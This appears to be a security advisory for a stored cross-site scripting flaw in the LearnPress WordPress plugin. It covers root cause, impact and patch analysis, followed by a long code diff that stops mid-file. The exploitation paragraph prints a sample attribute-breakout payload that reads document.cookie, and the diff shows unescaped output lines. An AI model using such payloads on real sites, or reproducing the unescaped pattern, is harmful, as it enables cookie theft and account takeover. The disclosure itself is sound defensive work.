Published : June 30, 2026

CVE-2026-12732: LearnPress <= 4.4.0 Authenticated (Contributor+) Stored Cross-Site Scripting via 'class_wrapper_form' Shortcode Attribute PoC, Patch Analysis & Rule

Plugin learnpress
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 4.4.0
Patched Version 4.4.1
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12732:

This vulnerability is a Stored Cross-Site Scripting (XSS) in the LearnPress plugin for WordPress, versions up to and including 4.4.0. The flaw is located in the FilterCourseTemplate::sections() method at line 98, where the ‘class_wrapper_form’ shortcode attribute is inserted into an HTML class attribute without proper output escaping. The vulnerability has a CVSS score of 6.4 and affects authenticated users with contributor-level access or higher.

Root Cause: The root cause is insufficient input sanitization and output escaping in the FilterCourseTemplate::sections() method at line 98. The vulnerable code uses sprintf(”, $class_wrapper_form) without applying esc_attr() escaping. The $class_wrapper_form value originates from the ‘class_wrapper_form’ attribute of the [learn_press_filter_courses] shortcode. The FilterCourseShortcode::render() handler passes raw user attributes directly through do_action(‘learn-press/filter-courses/layout’, $data) into the template without filtering via shortcode_atts(), allowing arbitrary attribute values to reach the vulnerable function.

Exploitation: An authenticated attacker with at least contributor-level access can create or edit a post containing the [learn_press_filter_courses] shortcode and inject a malicious payload into the ‘class_wrapper_form’ attribute. The attacker can close the HTML attribute and inject an event handler such as class_wrapper_form=”x”><img+src%3dx+onerror%3dalert(document.cookie)+x%3d" to execute arbitrary JavaScript. The injected script runs whenever any user views the affected page, including administrators.

Patch Analysis: The patch applies esc_attr() to the $class_wrapper_form variable before inserting it into the HTML class attribute. The vulnerable code at line 98 of FilterCourseTemplate.php changed from sprintf('’, $class_wrapper_form) to sprintf(”, esc_attr($class_wrapper_form)). This ensures any special characters in the attribute value are encoded as HTML entities, preventing attribute break-out and script injection. The fix addresses the XSS vector directly at the output point.

Impact: Successful exploitation allows the attacker to inject arbitrary web scripts into pages. When a victim accesses the affected page, the injected script executes in the context of the victim’s session. This can lead to session hijacking, cookie theft, defacement, credential theft via phishing, or further privilege escalation. Since contributors can inject persistent XSS that executes in the context of higher-privileged users (editors, administrators), the impact extends beyond the attacker’s own capabilities.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/learnpress/config/block-templates.php
+++ b/learnpress/config/block-templates.php
@@ -1,14 +0,0 @@
-<?php
-$blog_template_path = LP_PLUGIN_PATH . 'inc/block-template/';
-require_once $blog_template_path . 'class-block-template-archive-course.php';
-require_once $blog_template_path . 'class-block-template-single-course.php';
-require_once $blog_template_path . 'class-block-template-item-curriculum-course.php';
-
-return apply_filters(
-	'learn-press/config/block-templates',
-	array(
-		new Block_Template_Archive_Course(),
-		new Block_Template_Single_Course(),
-		//new Block_Template_Item_Curriculum_Course(), // When handle item correct post type, uncomment this line, currently item show is post type course.
-	)
-);
--- a/learnpress/config/profile-tabs.php
+++ b/learnpress/config/profile-tabs.php
@@ -49,7 +49,7 @@
 		'priority' => 30,
 	),
 	'enrolled-students' => array(
-		'title'    => __( 'Enrolled Students', 'learnpress' ),
+		'title'    => __( 'Students', 'learnpress' ),
 		'slug'     => 'enrolled-students',
 		'callback' => [ ProfileStudentEnrolledTemplate::class, 'tab_content' ],
 		'priority' => 35,
--- a/learnpress/inc/Ajax/AI/OpenAiAjax.php
+++ b/learnpress/inc/Ajax/AI/OpenAiAjax.php
@@ -7,6 +7,9 @@
 use LearnPressAjaxAbstractAjax;
 use LearnPressHelpersConfig;
 use LearnPressHelpersTemplate;
+use LearnPressModelsCourseModel;
+use LearnPressModelsCoursePostModel;
+use LearnPressModelsPostModel;
 use LearnPressModelsQuizPostModel;
 use LearnPressModelsUserModel;
 use LearnPressServicesCourseService;
@@ -434,7 +437,7 @@
 	 * Upload image to media and set as feature image for post
 	 *
 	 * @since 4.3.0
-	 * @version 1.0.0
+	 * @version 1.0.1
 	 */
 	public function openai_apply_image_feature() {
 		$response = new LP_REST_Response();
@@ -461,6 +464,29 @@
 				throw new Exception( __( 'Invalid post ID.', 'learnpress' ) );
 			}

+			// Check permission
+			$post_type = get_post_type( $post_id );
+			if ( $post_type === LP_COURSE_CPT ) {
+				$coursePostModel = CoursePostModel::find( $post_id, true );
+				if ( ! $coursePostModel ) {
+					throw new Exception( __( 'Invalid course ID.', 'learnpress' ) );
+				}
+
+				if ( ! $coursePostModel->check_capabilities_update() ) {
+					throw new Exception(
+						__( 'You do not have permission to perform this action.', 'learnpress' )
+					);
+				}
+			} else {
+				$course_item_types = CourseModel::item_types_support();
+				if ( ! in_array( $post_type, $course_item_types ) ) {
+					throw new Exception( __( 'Invalid post type.', 'learnpress' ) );
+				}
+
+				$postModel = PostModel::find_by_id( $post_id, true );
+				$postModel->check_capabilities_update_item_course();
+			}
+
 			if ( ! function_exists( 'media_handle_sideload' ) ) {
 				require_once ABSPATH . 'wp-admin/includes/media.php';
 				require_once ABSPATH . 'wp-admin/includes/file.php';
--- a/learnpress/inc/ExternalPlugin/Elementor/Widgets/Course/Dynamic/CourseAddressDynamicElementor.php
+++ b/learnpress/inc/ExternalPlugin/Elementor/Widgets/Course/Dynamic/CourseAddressDynamicElementor.php
@@ -1,48 +0,0 @@
-<?php
-/**
- * Class CourseLevelDynamicElementor
- *
- * Dynamic course level elementor.
- *
- * @since 4.2.3.5
- * @version 1.0.0
- */
-
-namespace LearnPressExternalPluginElementorWidgetsCourseDynamic;
-use ElementorCoreDynamicTagsTag;
-use LearnPressExternalPluginElementorLPDynamicElementor;
-use LearnPressModelsCourseModel;
-use LearnPressTemplateHooksCourseSingleCourseTemplate;
-use Throwable;
-
-defined( 'ABSPATH' ) || exit;
-
-class CourseAddressDynamicElementor extends Tag {
-	use LPDynamicElementor;
-
-	public function __construct( array $data = [] ) {
-		$this->lp_dynamic_title = 'Course Address';
-		$this->lp_dynamic_name  = 'course-address';
-		parent::__construct( $data );
-	}
-
-	public function render() {
-		$singleCourseTemplate = SingleCourseTemplate::instance();
-
-		try {
-			$course = $this->get_course();
-			if ( ! $course ) {
-				return;
-			}
-
-			$course = CourseModel::find( $course->get_id() );
-			if ( ! $course ) {
-				return;
-			}
-
-			echo $singleCourseTemplate->html_address( $course );
-		} catch ( Throwable $e ) {
-			error_log( $e->getMessage() );
-		}
-	}
-}
--- a/learnpress/inc/ExternalPlugin/Elementor/Widgets/Course/Dynamic/CourseDeliverTypeDynamicElementor.php
+++ b/learnpress/inc/ExternalPlugin/Elementor/Widgets/Course/Dynamic/CourseDeliverTypeDynamicElementor.php
@@ -1,48 +0,0 @@
-<?php
-/**
- * Class CourseLevelDynamicElementor
- *
- * Dynamic course level elementor.
- *
- * @since 4.2.3.5
- * @version 1.0.0
- */
-
-namespace LearnPressExternalPluginElementorWidgetsCourseDynamic;
-use ElementorCoreDynamicTagsTag;
-use LearnPressExternalPluginElementorLPDynamicElementor;
-use LearnPressModelsCourseModel;
-use LearnPressTemplateHooksCourseSingleCourseTemplate;
-use Throwable;
-
-defined( 'ABSPATH' ) || exit;
-
-class CourseDeliverTypeDynamicElementor extends Tag {
-	use LPDynamicElementor;
-
-	public function __construct( array $data = [] ) {
-		$this->lp_dynamic_title = 'Course Deliver Type';
-		$this->lp_dynamic_name  = 'course-deliver-type';
-		parent::__construct( $data );
-	}
-
-	public function render() {
-		$singleCourseTemplate = SingleCourseTemplate::instance();
-
-		try {
-			$course = $this->get_course();
-			if ( ! $course ) {
-				return;
-			}
-
-			$course = CourseModel::find( $course->get_id() );
-			if ( ! $course ) {
-				return;
-			}
-
-			echo $singleCourseTemplate->html_deliver_type( $course );
-		} catch ( Throwable $e ) {
-			error_log( $e->getMessage() );
-		}
-	}
-}
--- a/learnpress/inc/Shortcodes/class-lp-shortcode-button-purchase.php
+++ b/learnpress/inc/Shortcodes/class-lp-shortcode-button-purchase.php
@@ -1,84 +0,0 @@
-<?php
-/**
- * Button Purchase Shortcode.
- *
- * @author   ThimPress
- * @category Shortcodes
- * @package  Learnpress/Shortcodes
- * @version  3.0.1
- * @extends  LP_Abstract_Shortcode
- */
-
-/**
- * Prevent loading this file directly
- */
-defined( 'ABSPATH' ) || exit();
-
-if ( ! class_exists( 'LP_Shortcode_Button_Purchase' ) ) {
-
-	/**
-	 * Class LP_Shortcode_Button_Purchase
-	 *
-	 * @since 3.0.0
-	 */
-	class LP_Shortcode_Button_Purchase extends LP_Abstract_Shortcode {
-		/**
-		 * LP_Shortcode_Button_Purchase constructor.
-		 *
-		 * @param mixed $atts
-		 */
-		public function __construct( $atts = '' ) {
-			parent::__construct( $atts );
-
-			$this->_atts = shortcode_atts(
-				array(
-					'id'   => 0,
-					'text' => '',
-				),
-				$this->_atts
-			);
-		}
-
-		/**
-		 * Output form.
-		 *
-		 * @return string
-		 */
-		public function output() {
-			ob_start();
-
-			$atts = $this->_atts;
-			if ( 'current' === $atts['id'] ) {
-				$course_id = learn_press_is_course() ? get_the_ID() : 0;
-			} else {
-				$course_id = $atts['id'];
-			}
-
-			$course = learn_press_get_course( $course_id );
-			if ( ! $course ) {
-				return '';
-			}
-
-			if ( ! $course->is_free() ) {
-				wp_enqueue_script( 'lp-single-course' );
-				add_filter( 'learn-press/purchase-course-button-text', array( $this, 'button_text' ) );
-				do_action( 'learn-press/course-buttons', $course );
-			}
-
-			return ob_get_clean();
-		}
-
-		/**
-		 * @param string $text
-		 *
-		 * @return string
-		 */
-		public function button_text( $text ) {
-			if ( $this->_atts['text'] ) {
-				$text = $this->_atts['text'];
-			}
-
-			return $text;
-		}
-	}
-}
--- a/learnpress/inc/TemplateHooks/Admin/AdminListStudentsEnrolled.php
+++ b/learnpress/inc/TemplateHooks/Admin/AdminListStudentsEnrolled.php
@@ -55,7 +55,7 @@
 		$instructor_id = self::resolve_instructor_id_for_request( array() );

 		echo '<div class="wrap" id="lp-enrolled-students">';
-		echo '<h1 class="wp-heading-inline">' . esc_html__( 'Enrolled Students', 'learnpress' ) . '</h1>';
+		echo '<h1 class="wp-heading-inline">' . esc_html__( 'Students', 'learnpress' ) . '</h1>';
 		do_action( 'learn-press/admin/enrolled-students/layout', $instructor_id );
 		echo '</div>';
 	}
--- a/learnpress/inc/TemplateHooks/Course/FilterCourseTemplate.php
+++ b/learnpress/inc/TemplateHooks/Course/FilterCourseTemplate.php
@@ -95,7 +95,10 @@
 			$wrapper = apply_filters(
 				'lp/filter-courses/sections/wrapper',
 				[
-					'wrapper'     => sprintf( '<form class="%s">', $class_wrapper_form ),
+					'wrapper'     => sprintf(
+						'<form class="%s">',
+						esc_attr( $class_wrapper_form )
+					),
 					'sections'    => Template::combine_components( $sections ),
 					'close'       => sprintf(
 						'<div class="lp-form-course-filter__close">%s<i class="lp-icon-close"></i></div>',
@@ -108,7 +111,7 @@

 			echo Template::combine_components( $wrapper );
 		} catch ( Throwable $e ) {
-			error_log( __METHOD__ . ': ' . $e->getMessage() );
+			LP_Debug::error_log( $e );
 		}
 	}

@@ -151,7 +154,7 @@

 			$content = Template::combine_components( $wrapper );
 		} catch ( Throwable $e ) {
-			error_log( __METHOD__ . ': ' . $e->getMessage() );
+			LP_Debug::error_log( $e );
 		}

 		return $content;
@@ -203,7 +206,7 @@

 			$content = Template::combine_components( $wrapper );
 		} catch ( Throwable $e ) {
-			error_log( __METHOD__ . ': ' . $e->getMessage() );
+			LP_Debug::error_log( $e );
 		}

 		return $content;
--- a/learnpress/inc/TemplateHooks/CourseBuilder/Dashboard/BuilderDashboardTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Dashboard/BuilderDashboardTemplate.php
@@ -524,7 +524,7 @@
 			esc_html__( 'Top Enrolled Courses', 'learnpress' ),
 			esc_html__( 'Total:', 'learnpress' ),
 			esc_html( number_format_i18n( $total_enrolled ) ),
-			esc_html__( 'enrolled students', 'learnpress' ),
+			esc_html__( 'students', 'learnpress' ),
 			$items_html
 		);
 	}
--- a/learnpress/inc/TemplateHooks/CourseBuilder/Lesson/BuilderEditLessonTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Lesson/BuilderEditLessonTemplate.php
@@ -420,7 +420,7 @@
 		$edit  = [
 			'wrapper'     => '<div class="cb-lesson-edit-title">',
 			'label'       => sprintf( '<label for="title" class="cb-lesson-edit-title__label">%s</label>', __( 'Title', 'learnpress' ) ),
-			'input'       => sprintf( '<input type="text" name="lesson_title" size="30" value="%s" id="title" class="cb-lesson-edit-title__input">', $title ),
+			'input'       => sprintf( '<input type="text" name="lesson_title" size="30" value="%s" id="title" class="cb-lesson-edit-title__input">', esc_attr( $title ) ),
 			'wrapper_end' => '</div>',
 		];

--- a/learnpress/inc/TemplateHooks/CourseBuilder/Lesson/BuilderListLessonsTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Lesson/BuilderListLessonsTemplate.php
@@ -92,7 +92,7 @@
 		$search = [
 			'wrapper'       => sprintf( '<form class="cb-search-form" method="get" action="%s">', $link_tab ),
 			'search_lesson' => '<button class="lp-button cb-search-btn" type="submit"> <i class="lp-icon-search"> </i></button>',
-			'input'         => sprintf( '<input class="cb-input-search-lesson" type="search" placeholder="%s" name="c_search" value="%s">', __( 'Search', 'learnpress' ), $args['c_search'] ?? '' ),
+			'input'         => sprintf( '<input class="cb-input-search-lesson" type="search" placeholder="%s" name="c_search" value="%s">', __( 'Search', 'learnpress' ), esc_attr( $args['c_search'] ?? '' ) ),
 			'wrapper_end'   => '</form>',
 		];

--- a/learnpress/inc/TemplateHooks/CourseBuilder/Question/BuilderEditQuestionTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Question/BuilderEditQuestionTemplate.php
@@ -382,7 +382,7 @@
 		$edit  = [
 			'wrapper'     => '<div class="cb-question-edit-title">',
 			'label'       => sprintf( '<label for="title" class="cb-question-edit-title__label">%s</label>', __( 'Title', 'learnpress' ) ),
-			'input'       => sprintf( '<input type="text" name="question_title" size="30" value="%s" id="title" class="cb-question-edit-title__input">', $title ),
+			'input'       => sprintf( '<input type="text" name="question_title" size="30" value="%s" id="title" class="cb-question-edit-title__input">', esc_attr( $title ) ),
 			'wrapper_end' => '</div>',
 		];

--- a/learnpress/inc/TemplateHooks/CourseBuilder/Question/BuilderListQuestionsTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Question/BuilderListQuestionsTemplate.php
@@ -74,7 +74,7 @@
 		$search = [
 			'wrapper'         => sprintf( '<form class="cb-search-form" method="get" action="%s">', $link_tab ),
 			'search_question' => '<button class="lp-button cb-search-btn" type="submit"> <i class="lp-icon-search"> </i></button>',
-			'input'           => sprintf( '<input class="cb-input-search-question" type="search" placeholder="%s" name="c_search" value="%s">', __( 'Search', 'learnpress' ), $args['c_search'] ?? '' ),
+			'input'           => sprintf( '<input class="cb-input-search-question" type="search" placeholder="%s" name="c_search" value="%s">', __( 'Search', 'learnpress' ), esc_attr( $args['c_search'] ?? '' ) ),
 			'wrapper_end'     => '</form>',
 		];

--- a/learnpress/inc/TemplateHooks/CourseBuilder/Quiz/BuilderEditQuizTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Quiz/BuilderEditQuizTemplate.php
@@ -426,7 +426,7 @@
 		$edit  = [
 			'wrapper'     => '<div class="cb-quiz-edit-title">',
 			'label'       => sprintf( '<label for="title" class="cb-quiz-edit-title__label">%s</label>', __( 'Title', 'learnpress' ) ),
-			'input'       => sprintf( '<input type="text" name="quiz_title" size="30" value="%s" id="title" class="cb-quiz-edit-title__input">', $title ),
+			'input'       => sprintf( '<input type="text" name="quiz_title" size="30" value="%s" id="title" class="cb-quiz-edit-title__input">', esc_attr( $title ) ),
 			'wrapper_end' => '</div>',
 		];

--- a/learnpress/inc/TemplateHooks/CourseBuilder/Quiz/BuilderListQuizzesTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Quiz/BuilderListQuizzesTemplate.php
@@ -72,7 +72,7 @@
 		$search = [
 			'wrapper'     => sprintf( '<form class="cb-search-form" method="get" action="%s">', $link_tab ),
 			'search_quiz' => '<button class="lp-button cb-search-btn" type="submit"> <i class="lp-icon-search"> </i></button>',
-			'input'       => sprintf( '<input class="cb-input-search-quiz" type="search" placeholder="%s" name="c_search" value="%s">', __( 'Search', 'learnpress' ), $args['c_search'] ?? '' ),
+			'input'       => sprintf( '<input class="cb-input-search-quiz" type="search" placeholder="%s" name="c_search" value="%s">', __( 'Search', 'learnpress' ), esc_attr( $args['c_search'] ?? '' ) ),
 			'wrapper_end' => '</form>',
 		];

--- a/learnpress/inc/admin/class-lp-install-sample-data.php
+++ b/learnpress/inc/admin/class-lp-install-sample-data.php
@@ -2,6 +2,7 @@

 use LearnPressModelsCourseModel;
 use LearnPressModelsCoursePostModel;
+use LearnPressServicesCourseService;

 /**
  * Class LP_Install_Sample_Data
@@ -16,22 +17,22 @@
 	/**
 	 * @var array
 	 */
-	public static $section_range = array( 5, 10 );
+	public static $section_range = array( 3, 3 );

 	/**
 	 * @var array
 	 */
-	public static $item_range = array( 10, 15 );
+	public static $item_range = array( 5, 10 );

 	/**
 	 * @var array
 	 */
-	public static $question_range = array( 10, 15 );
+	public static $question_range = array( 2, 5 );

 	/**
 	 * @var array
 	 */
-	public static $answer_range = array( 3, 5 );
+	public static $answer_range = array( 2, 5 );

 	/**
 	 * @var int
@@ -122,16 +123,12 @@
 			self::$answer_range = $answer_range;
 		}

-		$data['price'] = LP_Request::get_param( 'course-price', 0, 'float' );
+		$data['price'] = LP_Request::get_param( CoursePostModel::META_KEY_REGULAR_PRICE, 0, 'float' );
 		$data['name']  = LP_Request::get_param( 'custom-name' );

 		try {
 			$course_id = $this->create_course( $data );

-			if ( ! $course_id ) {
-				throw new Exception( 'Create course failed.' );
-			}
-
 			$this->create_sections( $course_id );

 			$courseModel = CourseModel::find( $course_id, true );
@@ -342,9 +339,10 @@
 	 *
 	 * @param array $data
 	 *
-	 * @return int|WP_Error
+	 * @return int
+	 * @throws Exception
 	 */
-	protected function create_course( array $data ) {
+	protected function create_course( array $data ): int {
 		$title = $data['name'] ?? '';

 		$data_insert = array(
@@ -354,45 +352,56 @@
 			'post_content' => $this->generate_content( 25, 40, 5 ),
 		);

-		$course_id = wp_insert_post( $data_insert );
+		$courseService   = CourseService::instance();
+		$coursePostModel = $courseService->create_info_main( $data_insert );

-		if ( $course_id ) {
-			$metas = [
-				CoursePostModel::META_KEY_DURATION    => '10 week',
-				CoursePostModel::META_KEY_SAMPLE_DATA => 'yes',
-				CoursePostModel::META_KEY_LEVEL       => 'all',
-			];
-			foreach ( $metas as $key => $value ) {
-				update_post_meta( $course_id, $key, $value );
-			}
+		$course_id = $coursePostModel->get_id();

-			$this->add_extra_info( $course_id );
+		// Set price
+		if ( $data['price'] > 0 ) {
+			$coursePostModel->meta_data->{CoursePostModel::META_KEY_PRICE}         = $data['price'];
+			$coursePostModel->meta_data->{CoursePostModel::META_KEY_REGULAR_PRICE} = $data['price'];
 		}

-		return $course_id;
-	}
+		// Save meta data
+		$coursePostModel->meta_data->{CoursePostModel::META_KEY_DURATION}    = '10 week';
+		$coursePostModel->meta_data->{CoursePostModel::META_KEY_SAMPLE_DATA} = 'yes';
+		$coursePostModel->meta_data->{CoursePostModel::META_KEY_LEVEL}       = 'all';

-	protected function add_extra_info( $course_id ) {
-		$features = array( 'requirements', 'target_audiences', 'key_features' );
+		// Requirements
+		$requirements = array();
+		for ( $i = 0, $n = rand( 5, 10 ); $i <= $n; $i++ ) {
+			$requirements[] = $this->generate_title();
+		}
+		$coursePostModel->meta_data->{CoursePostModel::META_KEY_REQUIREMENTS} = $requirements;

-		// Requirements, Target audiences, Key Features
-		foreach ( $features as $feature ) {
-			$feature_data = array();
-			for ( $i = 0, $n = rand( 5, 10 ); $i <= $n; $i++ ) {
-				$feature_data[] = $this->generate_title();
-			}
-			update_post_meta( $course_id, '_lp_' . $feature, $feature_data );
+		// Target audiences
+		$target_audiences = array();
+		for ( $i = 0, $n = rand( 5, 10 ); $i <= $n; $i++ ) {
+			$target_audiences[] = $this->generate_title();
+		}
+		$coursePostModel->meta_data->{CoursePostModel::META_KEY_TARGET} = $target_audiences;
+
+		// Key features
+		$key_features = array();
+		for ( $i = 0, $n = rand( 5, 10 ); $i <= $n; $i++ ) {
+			$key_features[] = $this->generate_title();
 		}
+		$coursePostModel->meta_data->{CoursePostModel::META_KEY_FEATURES} = $key_features;

 		// FAQs
-		$feature_data = array();
+		$faqs = array();
 		for ( $i = 0, $n = rand( 5, 10 ); $i <= $n; $i++ ) {
-			$feature_data[] = array( $this->generate_title() . '?', $this->generate_content( 20, 30, 3 ) );
+			$faqs[] = array( $this->generate_title() . '?', $this->generate_content( 20, 30, 3 ) );
 		}
-		update_post_meta( $course_id, '_lp_faqs', $feature_data );
+		$coursePostModel->meta_data->{CoursePostModel::META_KEY_FAQS} = $faqs;

 		// Featured review
-		update_post_meta( $course_id, '_lp_featured_review', $this->generate_title( 30, 40 ) );
+		$coursePostModel->meta_data->{CoursePostModel::META_KEY_FEATURED_REVIEW} = $this->generate_title( 30, 40 );
+
+		$coursePostModel->save();
+
+		return $course_id;
 	}

 	/**
--- a/learnpress/inc/admin/sub-menus/class-lp-submenu-students-enrolled.php
+++ b/learnpress/inc/admin/sub-menus/class-lp-submenu-students-enrolled.php
@@ -11,8 +11,8 @@
 	 */
 	public function __construct() {
 		$this->id         = 'learn-press-students-enrolled';
-		$this->menu_title = __( 'Enrolled Students', 'learnpress' );
-		$this->page_title = __( 'Enrolled Students', 'learnpress' );
+		$this->menu_title = __( 'Students', 'learnpress' );
+		$this->page_title = __( 'Students', 'learnpress' );
 		$this->priority   = 20;
 		$this->callback   = [ AdminListStudentsEnrolled::instance(), 'admin_page_output' ];

--- a/learnpress/inc/admin/views/meta-boxes/order/list-course-out-stock.php
+++ b/learnpress/inc/admin/views/meta-boxes/order/list-course-out-stock.php
@@ -1,29 +0,0 @@
-<?php
-if ( empty( $items_out_stock ) ) {
-	return;
-}
-use LearnPressModelsCourseModel;
-
-$course_ids = explode( ',', $items_out_stock );
-?>
-<div class="lp-course-sold-out">
-	<p class="lp-course-sold-out__title" style="font-style: italic; font-weight:bolder; color: darkred; font-size: 1rem;">
-		<?php esc_html_e( 'List course out stock in order', 'learnpress' ); ?>
-	</p>
-	<ul class="lp-course-sold-out__list">
-		<?php foreach ( $course_ids as $course_id ) : ?>
-			<?php
-			$course = CourseModel::find( $course_id );
-			if ( empty( $course ) ) {
-				continue;
-			}
-			?>
-
-			<li class="lp-course-sold-out__item">
-				<a href="<?php echo esc_url_raw( $course->get_permalink() ); ?>">
-					<?php echo wp_kses_post( $course->post_title ); ?>
-				</a>
-			</li>
-		<?php endforeach; ?>
-	</ul>
-</div>
--- a/learnpress/inc/admin/views/setup/steps/finish.php
+++ b/learnpress/inc/admin/views/setup/steps/finish.php
@@ -4,7 +4,7 @@
  *
  * @author  ThimPres
  * @package LearnPress/Admin/Views
- * @version 3.0.0
+ * @version 3.0.1
  */

 defined( 'ABSPATH' ) or exit;
@@ -17,7 +17,7 @@
 	<a class="button"
 		id="install-sample-course"
 		href="<?php echo esc_url_raw( admin_url( 'admin.php?page=learn-press-tools' ) ); ?>">
-		<?php _e( 'Install a demo course', 'learnpress' ); ?>
+		<?php _e( 'Install a Demo Course', 'learnpress' ); ?>
 	</a>

 	<a class="button" href="<?php echo LearnPress::$doc_link; ?>">
@@ -25,7 +25,7 @@
 	</a>

 	<a class="button" href="<?php echo esc_url_raw( admin_url( 'post-new.php?post_type=lp_course' ) ); ?>">
-		<?php _e( 'Create a new course', 'learnpress' ); ?>
+		<?php _e( 'Create a New Course', 'learnpress' ); ?>
 	</a>

 	<a class="button" href="<?php echo esc_url_raw( admin_url( 'index.php' ) ); ?>">
--- a/learnpress/inc/admin/views/tools/course/html-install-sample-data.php
+++ b/learnpress/inc/admin/views/tools/course/html-install-sample-data.php
@@ -2,17 +2,12 @@
 /**
  * @author  ThimPress
  * @package LearnPress/Admin/Views
- * @version 3.0.0
+ * @version 3.0.1
  */

 use LearnPressModelsCoursePostModel;

-defined( 'ABSPATH' ) or die();
-
-$section_range  = LP_Install_Sample_Data::$section_range;
-$item_range     = LP_Install_Sample_Data::$item_range;
-$question_range = LP_Install_Sample_Data::$question_range;
-$answer_range   = LP_Install_Sample_Data::$answer_range;
+defined( 'ABSPATH' ) || die();
 ?>

 <div class="lp-install-sample">
@@ -28,28 +23,27 @@
 			</li>
 			<li>
 				<p><?php _e( 'Random number of sections in range', 'learnpress' ); ?></p>
-				<input type="number" size="3" value="<?php echo esc_attr( $section_range[0] ); ?>" min="1" max="20" name="section-range[]">
-				<input type="number" size="3" value="<?php echo esc_attr( $section_range[1] ); ?>" min="1" max="20" name="section-range[]">
+				<input type="number" size="3" value="1" min="1" max="20" name="section-range[]">
+				<input type="number" size="3" value="3" min="1" max="20" name="section-range[]">
 			</li>
 			<li>
 				<p><?php _e( 'Random number of items in range (each section)', 'learnpress' ); ?></p>
-				<input type="number" size="3" value="<?php echo esc_attr( $item_range[0] ); ?>" min="1" max="50" name="item-range[]">
-				<input type="number" size="3" value="<?php echo esc_attr( $item_range[1] ); ?>" min="1" max="50" name="item-range[]">
+				<input type="number" size="3" value="1" min="1" max="50" name="item-range[]">
+				<input type="number" size="3" value="10" min="1" max="50" name="item-range[]">
 			</li>
 			<li>
 				<p><?php _e( 'Random number of questions in range (each quiz)', 'learnpress' ); ?></p>
-				<input type="number" size="3" value="<?php echo esc_attr( $question_range[0] ); ?>" min="1" max="50" name="question-range[]">
-				<input type="number" size="3" value="<?php echo esc_attr( $question_range[1] ); ?>" min="1" max="50" name="question-range[]">
+				<input type="number" size="3" value="1" min="1" max="50" name="question-range[]">
+				<input type="number" size="3" value="5" min="1" max="50" name="question-range[]">
 			</li>
 			<li>
 				<p><?php _e( 'Random number of answers in range (each question)', 'learnpress' ); ?></p>
-				<input type="number" size="3" value="<?php echo esc_attr( $answer_range[0] ); ?>" min="1" max="10" name="answer-range[]">
-				<input type="number" size="3" value="<?php echo esc_attr( $answer_range[1] ); ?>" min="1" max="10" name="answer-range[]">
+				<input type="number" size="3" value="2" min="1" max="10" name="answer-range[]">
+				<input type="number" size="3" value="5" min="1" max="10" name="answer-range[]">
 			</li>
 			<li>
 				<p><?php _e( 'Course price', 'learnpress' ); ?></p>
 				<input type="number" size="3" value="" min="0" name="<?php echo CoursePostModel::META_KEY_REGULAR_PRICE; ?>">
-				<input type="hidden" value="all" name="<?php echo CoursePostModel::META_KEY_LEVEL; ?>">
 			</li>
 		</ul>
 	</fieldset>
--- a/learnpress/inc/background-process/class-lp-background-single-order.php
+++ b/learnpress/inc/background-process/class-lp-background-single-order.php
@@ -1,53 +0,0 @@
-<?php
-/**
- * Class LP_Background_Single_Course
- *
- * Single to run not schedule, run one time and done when be call
- *
- * @since 4.1.4
- * @author tungnx
- * @version 1.0.0
- */
-defined( 'ABSPATH' ) || exit;
-
-if ( ! class_exists( 'LP_Background_Order' ) ) {
-	class LP_Background_Single_Order extends LP_Async_Request {
-		protected $action = 'background_single_order';
-		protected static $instance;
-
-		/**
-		 * @var $lp_order LP_Order
-		 */
-		protected $lp_order;
-
-		/**
-		 * Get params via $_POST and handle
-		 */
-		protected function handle() {
-
-		}
-
-		/**
-		 * Save course post data
-		 *
-		 * @throws Exception
-		 */
-		protected function save_post() {
-
-		}
-
-		/**
-		 * @return LP_Background_Single_Order
-		 */
-		public static function instance(): self {
-			if ( is_null( self::$instance ) ) {
-				self::$instance = new self();
-			}
-
-			return self::$instance;
-		}
-	}
-
-	// Must run instance to register ajax.
-	LP_Background_Single_Order::instance();
-}
--- a/learnpress/inc/background-process/class-lp-background-thim-cache.php
+++ b/learnpress/inc/background-process/class-lp-background-thim-cache.php
@@ -1,46 +0,0 @@
-<?php
-/**
- * Class LP_Background_Single_Course
- *
- * Single to run not schedule, run one time and done when be call
- *
- * @since 4.1.4
- * @author tungnx
- * @version 1.0.0
- */
-defined( 'ABSPATH' ) || exit;
-
-if ( ! class_exists( 'LP_Background_Thim_Cache' ) ) {
-	class LP_Background_Thim_Cache extends LP_Async_Request {
-		protected $action = 'background_thim_cache';
-		protected static $instance;
-
-		/**
-		 * Get params via $_POST and handle
-		 */
-		protected function handle() {
-			$key  = LP_Helper::sanitize_params_submitted( $_POST['key'] ?? '' );
-			$data = LP_Helper::sanitize_params_submitted( $_POST['data'] ?? '' );
-			if ( empty( $key ) ) {
-				return;
-			}
-
-			Thim_Cache_DB::instance()->set_value( $key, wp_unslash( $data ) );
-			die();
-		}
-
-		/**
-		 * @return LP_Background_Thim_Cache
-		 */
-		public static function instance(): self {
-			if ( is_null( self::$instance ) ) {
-				self::$instance = new self();
-			}
-
-			return self::$instance;
-		}
-	}
-
-	// Must run instance to register ajax.
-	LP_Background_Thim_Cache::instance();
-}
--- a/learnpress/inc/block-template/class-abstract-block-template.php
+++ b/learnpress/inc/block-template/class-abstract-block-template.php
@@ -1,78 +0,0 @@
-<?php
-
-use LearnPressHelpersTemplate;
-
-/**
- * Abstract_Block_Template class.
- *
- */
-abstract class Abstract_Block_Template extends WP_Block_Template {
-	public $theme = 'learnpress/learnpress';
-	public $type  = 'wp_template';
-	/**
-	 * @var string name of the block
-	 */
-	public $name                          = '';
-	public $origin                        = 'plugin';
-	public $source                        = 'plugin'; // plugin|custom|theme, if custom save on db will be use 'custom'.
-	public $content                       = ''; // Set content will be show on edit block and the frontend.
-	public $has_theme_file                = true;
-	public $is_custom                     = false;
-	public $path_html_block_template_file = '';
-	public $path_template_render_default  = '';
-	/**
-	 * @var string path of the file run js.
-	 */
-	public $source_js = '';
-	/**
-	 * @var bool|string path of the file block.json metadata.
-	 */
-	public $inner_block = false;
-
